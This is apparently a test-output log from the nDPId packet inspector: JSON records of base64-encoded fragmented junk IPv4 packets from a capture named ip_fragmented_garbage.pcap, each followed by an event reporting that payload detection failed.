+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8197,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603635,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8197,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8198,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603647,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8198,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8199,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603660,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8199,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8200,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603673,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8200,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8201,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603686,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8201,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8202,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603701,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8202,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8203,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603714,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8203,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8204,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603727,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8204,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8205,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603740,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8205,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8206,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603753,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8206,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8207,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603767,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8207,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8208,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603780,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8208,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8209,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603793,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8209,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8210,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603806,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8210,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8211,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603818,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8211,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8212,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603831,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8212,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8213,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603844,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8213,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8214,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603857,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8214,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8215,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603869,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8215,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8216,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603885,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8216,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8217,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603898,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8217,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8218,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603911,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8218,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8219,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603923,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8219,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8220,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603936,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8220,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8221,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603950,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8221,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8222,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603963,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8222,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8223,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603975,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8223,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8224,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":603989,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8224,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8225,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604002,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8225,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8226,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604015,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8226,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8227,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604033,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8227,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8228,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604046,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8228,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8229,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604059,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8229,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8230,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604071,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8230,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8231,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604084,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8231,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8232,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604097,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8232,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8233,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604113,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8233,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8234,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604126,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8234,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8235,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604138,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8235,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8236,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604151,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8236,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8237,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604167,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8237,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8238,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604213,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8238,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8239,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604257,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} 